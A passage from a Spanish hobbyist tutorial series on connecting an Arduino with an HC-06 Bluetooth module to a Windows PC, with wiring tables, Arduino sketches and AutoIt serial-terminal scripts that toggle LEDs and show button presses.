\_CommGetInputcount

\_CommGetOutputcount

\_CommSendString

\_CommGetString

\_CommGetLine

\_CommReadByte

\_CommReadChar

\_CommSendByte

\_CommSendBreak; not tested!!!!!!!!!!

\_CommCloseport

\_CommSwitch

\_CommSendByteArray

\_CommReadByteArray

<https://www.autoitscript.com/forum/topic/74461-newbi-question-commmgau3/>

**62.- Bluetooth y Arduino mediante AutoIt. Enviar datos desde el Arduino al ordenador.**

- Este tutorial es una continuación y mejora del anterior.

- En este caso vamos a tener dos pulsadores en el Arduino, según pulsemos uno u otro se enviará un mensaje por bluetooth al ordenador.

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 1.- Conexión del Arduino y el módulo Bluetooth HC-06.**  - Esto ya lo hemos visto en varios tutoriales: [**9bluetootharduino.htm**](http://kio4.com/appinventor/9bluetootharduino.htm)  **- Forma de conectarlo.**   |  |  | | --- | --- | | **Módulo Bluetooh** | **Arduino** | | VCC | 5 V | | GND | GND | | TXD | RX (es la conexión 0 del Arduino) | | RXD | TX (es la conexión 1 del Arduino) |   - Fíjate que el **TXD va con el RX y que el RXD va con el TX**  - En el momento de alimentarlo con los 5V, el LED del módulo bluetooth parpadeará. |  |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Controlador del Bluetooth en el ordenador.**

- En el ordenador vamos al **Administrador de dispositivos**, debemos observar algo así:

- El "dongle" bluetooth USB está actuando como un puerto COM, más bien como varios puertos COM según observas en la figura superior.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Código del Arduino.**

- Este código prepara el puerto Serie (terminales 0 y 1, donde está conectado el módulo bluetooth) para trasmitir/recibir información a 9600 baudios.

- Cuando recibe **un 0 o un 1**, apaga/enciende el LED13 del Arduino.

- Cuando pulsas un botón, saldrá en la aplicación de AutoIt **"Hola amigo"**, cuando pulses el otro botón saldrá**"Me llamo Juan"**.

- NOTA: cuando vayas a cargar el programa en el Arduino, desconecta la alimentación del módulo bluetooth.

|  |
| --- |
| **bluetooth\_autoit\_pulsador.ino** |
| **// Juan Antonio Villalpando**  **// juana1991@yahoo.com**  **// kio4.com**  char val**;**  int ledPin13 = 13**;**  **///////////////////// Arduino a Android**  **const** int boton4 = 4**;**  **const** int boton9 = 9**;**  int buttonState4 = 0**;**  int buttonState9 = 0**;**  void setup**()** **{**  Serial**.**begin**(**9600**);**  pinMode**(**boton4**,** INPUT**);**  pinMode**(**boton9**,** INPUT**);**  pinMode**(**ledPin13**,** OUTPUT**);**  **}**  void loop**(){**  buttonState4 = digitalRead**(**boton4**);**  buttonState9 = digitalRead**(**boton9**);**  **if** **(**buttonState4 == HIGH**)** **{**  Serial**.**println**(**"Hola amigo"**);**  delay**(**50**);**  **}**  **if** **(**buttonState9 == HIGH**)** **{**  Serial**.**println**(**"Me llamo Juan"**);**  delay**(**50**);**  **}**  **///////// Android a Arduino**  **/// LED 13**  **if(** Serial**.**available**()** **)**  val = Serial**.**read**();**  **if(** val == '0' **)**  **{**  digitalWrite**(**ledPin13**,** LOW**);**  **}**  **if(** val == '1' **)**  **{**  digitalWrite**(**ledPin13**,** HIGH**);**  **}**  **}** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Código de AutoIt. Es el mismo que el del tutorial anterior.**

- Lo obtenemos de:  
  
<https://www.autoitscript.com/forum/topic/183106-question-regarding-serial-coms/#comment-1314735>

- Son necesarias las librerías:

[CommMG.au3](https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=48374)

[commg.dll](https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=48375)

- Que las puedes obtener de aquí:  
  
<https://www.autoitscript.com/forum/topic/177095-windows-10-problem-with-commmgau3-serial-send-to-arduino/>

- El archivo **CommMG.au3** lo copias en la carpeta **Include** de donde tengas instalado el AutoIt, por ejemplo: **C:\Program Files (x86)\AutoIt3\Include**

- El archivo **commg.dll** lo copias en la misma carpeta en la que vas a guardar el siguiente Script:

|  |
| --- |
| **bluetooth\_autoit\_arduino.au3** |
| **;Example program showing how to use some of the commMg3.au3 UDF functions**  **;this example is a very simple terminal**  **;Version 2 26th July 2006**  **;changes-**  **;change flow control checkbox to combo and add NONE**  **;correct error in call to \_CommSetPort - stop bits were missing which meant th eflow control was used for stop bits**  **;Dec 2013 - correct setting of Parity and flow, thanks to MichaelXMike**  #include <GUIConstants.au3>  #include <CommMG.au3>**;or if you save the commMg.dll in the @scripdir use #include @SciptDir & '\commmg.dll'**  #include <GuiEdit.au3>  #include <GuiComboBox.au3>  #include <windowsconstants.au3>  #include <buttonconstants.au3>  #include <Array.au3>  Opt("WINTITLEMATCHMODE"**,** 3)  **;Opt("OnExitFunc","alldone")**  HotKeySet("{ESC}"**,** "alldone")  $result = ''**;used for any returned error message setting port**  **Const** $settitle = "COMMG listExample - set Port"**,** $maintitle = "COMMG Example"  $setflow = 2**;default to no flow control**  **Dim** $FlowType[3] = ["Hardware (RTS, CTS)"**,** "XOnXoff"**,** "NONE"]  **Dim** $ParityType[5] = ["odd"**,** "even"**,** "none"**,** "Mark"**,** "Space"]  #region main program  **#Region ### START Koda GUI section ### Form=d:\my documents\miscdelphi\commg\ExampleComm.kxf**  $Form2 = GUICreate("COMMG Example"**,** 473**,** 349**,** 339**,** 333**,** BitOR($WS\_MAXIMIZEBOX**,** $WS\_MINIMIZEBOX**,** $WS\_SIZEBOX**,** $WS\_THICKFRAME**,** $WS\_SYSMENU**,** $WS\_CAPTION**,** \_  $WS\_OVERLAPPEDWINDOW**,** $WS\_TILEDWINDOW**,** $WS\_POPUP**,** $WS\_POPUPWINDOW**,** $WS\_GROUP**,** $WS\_TABSTOP**,** $WS\_BORDER**,** $WS\_CLIPSIBLINGS))  $Edit1 = GUICtrlCreateEdit(""**,** 10**,** 25**,** 449**,** 223**,** BitOR($ES\_AUTOVSCROLL**,** $ES\_AUTOHSCROLL**,** $ES\_READONLY**,** $ES\_WANTRETURN**,** $WS\_HSCROLL**,** $WS\_VSCROLL))  $BtnSend = GUICtrlCreateButton("Send"**,** 380**,** 273**,** 53**,** 30**,** $BS\_FLAT)  $Input1 = GUICtrlCreateInput(""**,** 18**,** 279**,** 361**,** 21)  $Checkbox1 = GUICtrlCreateCheckbox("Add LF to incomming CR"**,** 273**,** 4**,** 145**,** 17)  GUICtrlSetState(-1**,** $GUI\_CHECKED)  GUICtrlSetResizing(-1**,** $GUI\_DOCKAUTO)  $Label11 = GUICtrlCreateLabel("Text to send"**,** 24**,** 261**,** 63**,** 17)  $BtnSetPort = GUICtrlCreateButton("Set Port"**,** 16**,** 312**,** 73**,** 30**,** $BS\_FLAT)  $Label21 = GUICtrlCreateLabel("Received text"**,** 34**,** 6**,** 70**,** 17)  $Label31 = GUICtrlCreateLabel("commg.dll version unknown"**,** 272**,** 328**,** 135**,** 17)  GUICtrlSetColor(-1**,** 0x008080)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  WinSetTitle($Form2**,** ""**,** $maintitle & " UDF = " & \_CommGetVersion(1))  **While** setport(0) = -1  **If** MsgBox(4**,** 'Port not set'**,** 'Do you want to quite the program?') = 6 **Then** **Exit**  **WEnd**  ConsoleWrite("stage 1" & @CRLF)  GUICtrlSetData($Label31**,** 'using ' & \_CommGetVersion(1))  ConsoleWrite("stage 2" & @CRLF)  Events()  ConsoleWrite("at 64" & @CRLF)  \_CommSetXonXoffProperties(11**,** 13**,** 100**,** 100)  **;consolewrite("return from set timeouts = " & \_CommSetTimeouts(5,5,5,5,5) & @CR)**  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  ConsoleWrite("at 67" & @CRLF)  **While** 1  **;sleep(40)**  **;gets characters received returning when one of these conditions is met:**  **;receive @CR, received 20 characters or 200ms has elapsed**  $instr = \_commGetLine(@CR**,** 20**,** 200)**;\_CommGetString()**  **If** $instr <> '' **Then;if we got something**  **If** GUICtrlRead($Checkbox1) = $GUI\_CHECKED **Then** $instr = StringReplace($instr**,** @CR**,** @CRLF)  FileWrite(@ScriptDIr & "/Data.txt"**,** $instr)  GUICtrlSetData($Edit1**,** $instr**,** 1)  **Else**  Sleep(20) **;MichaelXMike**  **EndIf**  **WEnd**  Alldone()  **Func** port11()  **;MsgBox(0,'now set to channel',\_CommSwitch(2))**  \_commSwitch(2)  $s2 = "1 2 3 4"**;\_CommGetString()**  ConsoleWrite("comm1 gets " & $s2 & @CRLF)  \_CommSendString($s2)  \_CommSwitch(1)  **EndFunc** **;==>port11**  #endregion main program  **Func** Events()  Opt("GUIOnEventMode"**,** 1)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "justgo")  GUICtrlSetOnEvent($BtnSend**,** "SendEvent")  GUICtrlSetOnEvent($BtnSetPort**,** "SetPortEvent")  **EndFunc** **;==>Events**  **Func** SetPortEvent()  setport()**;needed because a parameter is optional for setport so we can't use "setport" for the event**  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  **EndFunc** **;==>SetPortEvent**  **Func** justgo()  **Exit**  **EndFunc** **;==>justgo**  **Func** SendEvent()**;send the text in the inputand append CR**  \_CommSendstring(GUICtrlRead($Input1) & @CR)  GUICtrlSetData($Input1**,** '')**;clear the input**  **;GUICtrlSetState($edit1,$GUI\_FOCUS);sets the caret back in the terminal screen**  **EndFunc** **;==>SendEvent**  **Func** AllDone()  **;MsgBox(0,'will close ports','')**  \_Commcloseport(true)  **;MsgBox(0,'port closed','')**  **Exit**  **EndFunc** **;==>AllDone**  **; Function SetPort($mode=1)**  **; Creates a form for the port settings**  **;Parameter $mode sets the return value depending on whether the port was set**  **;Returns 0 if $mode <> 1**  **; -1 If` the port not set and $mode is 1**  **Func** SetPort($mode = 1)**;if $mode = 1 then returns -1 if settings not made**  **Local** $sportSetError  Opt("GUIOnEventMode"**,** 0)**;keep events for $Form2, use GuiGetMsg for $Form3**  **#Region ### START Koda GUI section ### Form=d:\my documents\miscdelphi\commg\examplecommsetport.kxf**  $Form3 = GUICreate("COMMG Example - set Port"**,** 422**,** 279**,** 329**,** 268**,** BitOR($WS\_MINIMIZEBOX**,** $WS\_CAPTION**,** $WS\_POPUP**,** $WS\_GROUP**,** $WS\_BORDER**,** $WS\_CLIPSIBLINGS**,** \_  $DS\_MODALFRAME)**,** BitOR($WS\_EX\_TOPMOST**,** $WS\_EX\_WINDOWEDGE))  $Group1 = GUICtrlCreateGroup("Set COM Port"**,** 18**,** 8**,** 288**,** 252)  $CmboPortsAvailable = GUICtrlCreateCombo(""**,** 127**,** 28**,** 145**,** 25**,** BitOR($GUI\_SS\_DEFAULT\_COMBO**,** $CBS\_SORT))  $CmBoBaud = GUICtrlCreateCombo("9600"**,** 127**,** 66**,** 145**,** 25**,** BitOR($CBS\_DROPDOWN**,** $CBS\_AUTOHSCROLL**,** $CBS\_SORT**,** $WS\_VSCROLL))  GUICtrlSetData(-1**,** "10400|110|115200|1200|128000|14400|150|15625|1800|19200|2000|2400|256000|28800|38400|3600|38400|4800|50|56000|57600|600|7200|75")  $CmBoStop = GUICtrlCreateCombo("1"**,** 127**,** 141**,** 145**,** 25)  GUICtrlSetData(-1**,** "1|2|1.5")  $CmBoParity = GUICtrlCreateCombo(""**,** 127**,** 178**,** 145**,** 25)  GUICtrlSetData(-1**,** "odd|even|none|Mark|Space")  GUICtrlSetData(-1**,** "none")  $Label2 = GUICtrlCreateLabel("Port"**,** 94**,** 32**,** 23**,** 17)  $Label3 = GUICtrlCreateLabel("baud"**,** 89**,** 70**,** 28**,** 17)  $Label4 = GUICtrlCreateLabel("No. Stop bits"**,** 52**,** 145**,** 65**,** 17)  $Label5 = GUICtrlCreateLabel("parity"**,** 88**,** 182**,** 29**,** 17)  $CmboDataBits = GUICtrlCreateCombo("8"**,** 127**,** 103**,** 145**,** 25)  GUICtrlSetData(-1**,** "7|8")  $Label7 = GUICtrlCreateLabel("No. of Data Bits"**,** 38**,** 107**,** 79**,** 17)  $ComboFlow = GUICtrlCreateCombo("NONE"**,** 127**,** 216**,** 145**,** 25)  GUICtrlSetData(-1**,** "NONE|XOnXOff|Hardware (RTS, CTS)")  $Label1 = GUICtrlCreateLabel("flow control"**,** 59**,** 220**,** 58**,** 17)  GUICtrlCreateGroup(""**,** -99**,** -99**,** 1**,** 1)  $BtnApply = GUICtrlCreateButton("Apply"**,** 315**,** 95**,** 75**,** 35**,** $BS\_FLAT)  GUICtrlSetFont(-1**,** 12**,** 400**,** 0**,** "MS Sans Serif")  $BtnCancel = GUICtrlCreateButton("Cancel"**,** 316**,** 147**,** 76**,** 35**,** $BS\_FLAT)  GUICtrlSetFont(-1**,** 12**,** 400**,** 0**,** "MS Sans Serif")  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  WinSetTitle($Form3**,** ""**,** $settitle)**;ensure a change to Koda design doesn't stop script working**  $mainxy = WinGetPos($Form2)  WinMove($Form3**,** ""**,** $mainxy[0] + 20**,** $mainxy[1] + 20)  $portlist = \_CommListPorts(0)**;find the available COM ports and write them into the ports combo**  **If** @error = 1 **Then**  MsgBox(0**,** 'trouble getting portlist'**,** 'Program will terminate!')  **Exit**  **EndIf**  **For** $pl = 1 **To** $portlist[0]  $portnum = StringReplace($portlist[$pl]**,** "COM"**,** '')  **if** StringLen($portnum) = 1 **then** $portnum = ' ' & $portnum  $portlist[$pl] = 'COM' & $portnum  GUICtrlSetData($CmboPortsAvailable**,** $portlist[$pl])**;\_CommListPorts())**  **Next**  GUICtrlSetData($CmboPortsAvailable**,** $portlist[1])**;show the first port found**  GUICtrlSetData($ComboFlow**,** $FlowType[$setflow])  \_GUICtrlComboBox\_SetMinVisible($CmBoBaud**,** 10)**;restrict the length of the drop-down list**  $retval = 0  **While** 1  $msg = GUIGetMsg()  **If** $msg = $BtnCancel **Then**  **If** Not $mode **Then** $retval = -1  **ExitLoop**  **EndIf**  **If** $msg = $BtnApply **Then**  $comboflowsel = GUICtrlRead($ComboFlow)  **For** $n = 0 **To** 2  **If** $comboflowsel = $FlowType[$n] **Then**  $setflow = $n  ConsoleWrite("flow = " & $setflow & @CRLF)  **ExitLoop**  **EndIf**  **Next**  $setport = StringReplace(GUICtrlRead($CmboPortsAvailable)**,** 'COM'**,** '')  $ParitySel = GUICtrlRead($CmBoParity)  **For** $n = 0 **To** 4  **If** $ParitySel = $ParityType[$n] **Then**  $SetParity = $n  **ExitLoop**  **EndIf**  **Next**  $setStop = StringReplace(GUICtrlRead($CmBoStop)**,** '.'**,** '')**;replace 1.5 with 15 if needed**  $resOpen = \_CommSetPort($setport**,** $sportSetError**,** GUICtrlRead($CmBoBaud)**,** GUICtrlRead($CmboDataBits)**,** $SetParity**,** $setStop**,** $setflow)  **;$resOpen = \_CommSetPort($setPort,$sportSetError,GUICtrlRead($CmBoBaud),GUICtrlRead($CmboDataBits),GUICtrlRead($CmBoParity),GUICtrlRead($CmBoStop),$setFlow)**  **if** $resOpen = 0 **then**  ConsoleWrite($sportSetError & @LF)  **Exit**  **EndIf**  Sleep(1000)  ConsoleWrite('ok' & @CRLF)  **;next**  $mode = 1**;**  **ExitLoop**  **EndIf**  **;stop user switching back to $form2**  **If** WinActive($maintitle) **Then**  ConsoleWrite('main is active' & @CRLF)  **If** WinActivate($settitle) = 0 **Then** MsgBox(0**,** 'not found'**,** $settitle)  **EndIf**  **WEnd**  ConsoleWrite(244 & @CRLF)  GUIDelete($Form3)  ConsoleWrite(247 & @CRLF)  WinActivate($maintitle)  ConsoleWrite(248 & @CRLF)  Events()  Return $retval  **EndFunc** **;==>SetPort** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- Ejecución del Script de AutoIt.**

- Nos saldrá la siguiente ventana. Pulsamos en **Set Port**. Debemos elegir el puerto en donde está el "dongle" bluetooth del ordenador. [No confundir con el puerto del IDE de Arduino]

- Será uno de los puertos que vimos en el Administrador de dispositivos. **Vamos probando puertos** hasta lograr que el LED del módulo bluetooth no parpadee.

- En mi caso el LED del módulo bluetooth dejó de parpadear cuando conectó con el puerto **COM29.**

- La velocidad 9600

- Según introduzcamos en el casillero **un 0 o un 1**se apagará/encenderá el LED13 del Arduino.

- Según pulsemos un botón u otro saldrá un mensaje.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- C

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**66.- Bluetooth y Arduino mediante AutoIt. Enviar datos desde el Arduino al ordenador. Simplificado.**

- Este tutorial es una continuación de los anteriores.

- Realmente es el mismo que el anterior, solo que he simplificado el código.

- Los datos del puerto están directamente establecidos en el código, no sale la ventana para poner sus valores.

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 1.- Conexión del Arduino y el módulo Bluetooth HC-06.**  - Esto ya lo hemos visto en varios tutoriales: [**9bluetootharduino.htm**](http://kio4.com/appinventor/9bluetootharduino.htm)  **- Forma de conectarlo.**   |  |  | | --- | --- | | **Módulo Bluetooh** | **Arduino** | | VCC | 5 V | | GND | GND | | TXD | RX (es la conexión 0 del Arduino) | | RXD | TX (es la conexión 1 del Arduino) |   - Fíjate que el **TXD va con el RX y que el RXD va con el TX**  - En el momento de alimentarlo con los 5V, el LED del módulo bluetooth parpadeará. |  |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Código del Arduino. El mismo que el del tutorial anterior.**

- Este código prepara el puerto Serie (terminales 0 y 1, donde está conectado el módulo bluetooth) para trasmitir/recibir información a 9600 baudios.

- Cuando recibe **un 0 o un 1**, apaga/enciende el**LED13** del Arduino.

- Cuando pulsas un botón del Arduino, saldrá en la aplicación de AutoIt "**Hola amigo**", cuando pulses el otro botón saldrá "**Me llamo Juan**".

- NOTA: cuando vayas a cargar el programa en el Arduino, desconecta la alimentación del módulo bluetooth.

|  |
| --- |
| **bluetooth\_autoit\_pulsador.ino** |
| **// Juan Antonio Villalpando**  **// juana1991@yahoo.com**  **// kio4.com**  char val**;**  int ledPin13 = 13**;**  **///////////////////// Arduino a Android**  **const** int boton4 = 4**;**  **const** int boton9 = 9**;**  int buttonState4 = 0**;**  int buttonState9 = 0**;**  void setup**()** **{**  Serial**.**begin**(**9600**);**  pinMode**(**boton4**,** INPUT**);**  pinMode**(**boton9**,** INPUT**);**  pinMode**(**ledPin13**,** OUTPUT**);**  **}**  void loop**(){**  buttonState4 = digitalRead**(**boton4**);**  buttonState9 = digitalRead**(**boton9**);**  **if** **(**buttonState4 == HIGH**)** **{**  Serial**.**println**(**"Hola amigo"**);**  delay**(**50**);**  **}**  **if** **(**buttonState9 == HIGH**)** **{**  Serial**.**println**(**"Me llamo Juan"**);**  delay**(**50**);**  **}**  **///////// Android a Arduino**  **/// LED 13**  **if(** Serial**.**available**()** **)**  val = Serial**.**read**();**  **if(** val == '0' **)**  **{**  digitalWrite**(**ledPin13**,** LOW**);**  **}**  **if(** val == '1' **)**  **{**  digitalWrite**(**ledPin13**,** HIGH**);**  **}**  **}** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Código de AutoIt. Es el mismo que el del tutorial anterior. Simplificado.**

- La librería **CommNG.au3** la he puesto en la carpeta **Include** de donde está instalado el AutoIt.

- También es necesario **commg.dll** como vimos en el tutorial [**62\_bluethoot\_arduino.htm**](http://kio4.com/autoit/62_bluethoot_arduino.htm)

- Esta línea es donde se establece la configuración del bluetooth.

- El 29 es el **COM29**, el puerto del bluetooth en mi ordenador.

$abre\_este\_puerto = \_CommSetPort(29**,** $Error**,** 9600**,** 8**,** 1**,** 1**,** 2)

|  |
| --- |
| **bluetooth\_autoit\_arduino.au3** |
| #include <CommMG.au3>  #include <GuiEdit.au3>  #include <GuiComboBox.au3>  #include <windowsconstants.au3>  #include <buttonconstants.au3>  #include <GUIConstantsEx.au3>  #include <MsgBoxConstants.au3>  **#Region ### START Koda GUI section ###**  $Form1 = GUICreate("BT - Juan A. Villalpando"**,** 473**,** 349**,** 339**,** 333)  $Edit1 = GUICtrlCreateEdit(""**,** 10**,** 25**,** 449**,** 223)  $BtnEnviar = GUICtrlCreateButton("Enviar"**,** 380**,** 273**,** 53**,** 30**,** $BS\_FLAT)  $Input1 = GUICtrlCreateInput(""**,** 18**,** 279**,** 361**,** 21)  $Label1 = GUICtrlCreateLabel("Texto a enviar."**,** 24**,** 261**,** 100**,** 17)  $Label2 = GUICtrlCreateLabel("Texto recibido."**,** 34**,** 6**,** 100**,** 17)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  **While** Conecta(0) = -1  **WEnd**  Opt("GUIOnEventMode"**,** 1)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "Salir")  GUICtrlSetOnEvent($BtnEnviar**,** "Envia")  GUICtrlSetState($Edit1**,** $GUI\_FOCUS)  **While** 1  $recibidos = \_commGetLine(@CR**,** 20**,** 200)  **If** $recibidos <> '' **Then**  GUICtrlSetData($Edit1**,** $recibidos**,** 1)  **EndIf**  **WEnd**  \_Commcloseport(true)  **Func** Salir()  **Exit**  **EndFunc**  **Func** Envia()  \_CommSendstring(GUICtrlRead($Input1) & @CR)  GUICtrlSetData($Input1**,** '')  **EndFunc**  **Func** Conecta($mode = 1)  **Local** $Error  $abre\_este\_puerto = \_CommSetPort(29**,** $Error**,** 9600**,** 8**,** 1**,** 1**,** 2)  Sleep(1000)  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- Ejecución del Script de AutoIt.**

- Según introduzcamos en el casillero **un 0 o un 1**se apagará/encenderá el LED13 del Arduino.

- Según pulsemos un botón u otro del Arduino saldrá un mensaje.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- C

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**67.- Bluetooth y Arduino mediante AutoIt. Botones, pulsadores, LED.**

- Este tutorial es una continuación de los anteriores.

- En este caso para enviar la información desde la aplicación al Arduino utilizamos 4 botones, de tal manera que según pulsemos se encenderá/apagará el LED12 o LED13.

- Además en el Arduino tenemos 2 pulsadores, según los pulsemos cambiará el color de un par de círculos que se han puesto en la aplicación.

- Los datos del puerto están directamente establecidos en el código, no sale la ventana para poner sus valores.

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 1.- Conexión del Arduino y el módulo Bluetooth HC-06.**  - Esto ya lo hemos visto en varios tutoriales: [**9bluetootharduino.htm**](http://kio4.com/appinventor/9bluetootharduino.htm)  **- Forma de conectarlo.**   |  |  | | --- | --- | | **Módulo Bluetooh** | **Arduino** | | VCC | 5 V | | GND | GND | | TXD | RX (es la conexión 0 del Arduino) | | RXD | TX (es la conexión 1 del Arduino) |   - Fíjate que el **TXD va con el RX y que el RXD va con el TX**  - En el momento de alimentarlo con los 5V, el LED del módulo bluetooth parpadeará.  - Pondremos dos LED uno en el terminal 12 y otro en el 13. [Si solo queremos hacer pruebas, simplemente consultamos el LED13 que tiene integrado la placa de Arduino y no ponemos ningún LED externo] |  |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Código del Arduino.**

- Este código prepara el puerto Serie (terminales 0 y 1, donde está conectado el módulo bluetooth) para trasmitir/recibir información a 9600 baudios.

- Cuando recibe **un 0 o un 1**, apaga/enciende el LED13 del Arduino.

- Cuando pulsas un botón, enviará por bluetooth**"a",** cuando pulses el otro botón enviará **"b"**.

- NOTA: cuando vayas a cargar el programa en el Arduino, desconecta la alimentación del módulo bluetooth.

|  |
| --- |
| **bluetooth\_autoit\_pulsador.ino** |
| **// Juan Antonio Villalpando**  **// juana1991@yahoo.com**  **// kio4.com**  char val**;**  int ledPin13 = 13**;**  **///////////////////// Arduino a Android**  **const** int boton4 = 4**;**  **const** int boton9 = 9**;**  int buttonState4 = 0**;**  int buttonState9 = 0**;**  void setup**()** **{**  Serial**.**begin**(**9600**);**  pinMode**(**boton4**,** INPUT**);**  pinMode**(**boton9**,** INPUT**);**  pinMode**(**ledPin13**,** OUTPUT**);**  **}**  void loop**(){**  buttonState4 = digitalRead**(**boton4**);**  buttonState9 = digitalRead**(**boton9**);**  **if** **(**buttonState4 == HIGH**)** **{**  Serial**.**println**(**"a"**);**  **}else{**  Serial**.**println**(**"b"**);**  **}**  **if** **(**buttonState9 == HIGH**)** **{**  Serial**.**println**(**"c"**);**  **}else{**  Serial**.**println**(**"d"**);**  **}**  delay**(**200**);**  **///////// Android a Arduino**  **/// LED 13**  **if(** Serial**.**available**()** **)**  val = Serial**.**read**();**  **if(** val == '0' **)**  **{**  digitalWrite**(**ledPin13**,** LOW**);**  **}**  **if(** val == '1' **)**  **{**  digitalWrite**(**ledPin13**,** HIGH**);**  **}**  **}** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Código de AutoIt. Es el mismo que el del tutorial anterior. Simplificado.**

- La librería**CommNG.au3** la he puesto en la carpeta **Include** de donde está instalado el AutoIt.

- También es necesario **commg.dll** como vimos en el tutorial [**62\_bluethoot\_arduino.htm**](http://kio4.com/autoit/62_bluethoot_arduino.htm)

- Esta línea es donde se establece la configuración del bluetooth.

- El 29 es el **COM29**, el puerto del bluetooth en mi ordenador.

$abre\_este\_puerto = \_CommSetPort(29**,** $Error**,** 9600**,** 8**,** 1**,** 1**,** 2)

- En la línea del Formulario se ha puesto **$WS\_EX\_COMPOSITED y $WS\_EX\_TRANSPARENT para que los elementos no parpadeen.**

- Aunque en el código del Arduino y en la imagen de conexiones he puesto dos pulsadores, en este código de AutoIt, solo he puesto un pulsador para que resulte más sencillo. Según el pulsador (boton4) del Arduino esté o no esté pulsado, se enviará la letra "a" o la "b".

|  |
| --- |
| **bluetooth\_autoit\_arduino.au3** |
| #include <CommMG.au3>  #include <GuiEdit.au3>  #include <GuiComboBox.au3>  #include <windowsconstants.au3>  #include <buttonconstants.au3>  #include <GUIConstantsEx.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("BT - Juan A. Villalpando"**,** 386**,** 273**,** 368**,** 166**,** BitOR($WS\_MINIMIZEBOX**,** $WS\_SIZEBOX**,**$WS\_EX\_COMPOSITED**,** $WS\_EX\_TRANSPARENT))  $BtnLED13si = GUICtrlCreateButton("Enciende 13"**,** 76**,** 129**,** 93**,** 30**,** $BS\_FLAT)  $BtnLED13no = GUICtrlCreateButton("Apaga 13"**,** 217**,** 129**,** 93**,** 30**,** $BS\_FLAT)  $BtnLED12si = GUICtrlCreateButton("Enciende 12"**,** 80**,** 188**,** 93**,** 30**,** $BS\_FLAT)  $BtnLED12no = GUICtrlCreateButton("Apaga 12"**,** 219**,** 188**,** 93**,** 30**,** $BS\_FLAT)  $circulo1 = GUICtrlCreateGraphic(100**,** 40**,** 50**,** 10)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0**,** 0xecc6d9)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 8**,** 8**,** 40**,** 40)  $circulo2 = GUICtrlCreateGraphic(235**,** 40**,** 50**,** 10)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0**,** 0xecc6d9)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 8**,** 8**,** 40**,** 40)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  **While** Conecta(0) = -1  **WEnd**  Opt("GUIOnEventMode"**,** 1)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "Salir")  GUICtrlSetOnEvent($BtnLED13si**,** "LED13si")  GUICtrlSetOnEvent($BtnLED13no**,** "LED13no")  GUICtrlSetOnEvent($BtnLED12si**,** "LED12si")  GUICtrlSetOnEvent($BtnLED12no**,** "LED12no")  **While** 1  $recibido = \_commGetString()  **If** $recibido = 'a' **Then**  GUICtrlSetGraphic($circulo1**,** $GUI\_GR\_COLOR**,** 0**,** 0xff0000)  GUICtrlSetGraphic($circulo1**,** $GUI\_GR\_ELLIPSE**,** 8**,** 8**,** 40**,** 40)  GUICtrlSetGraphic($circulo1**,** 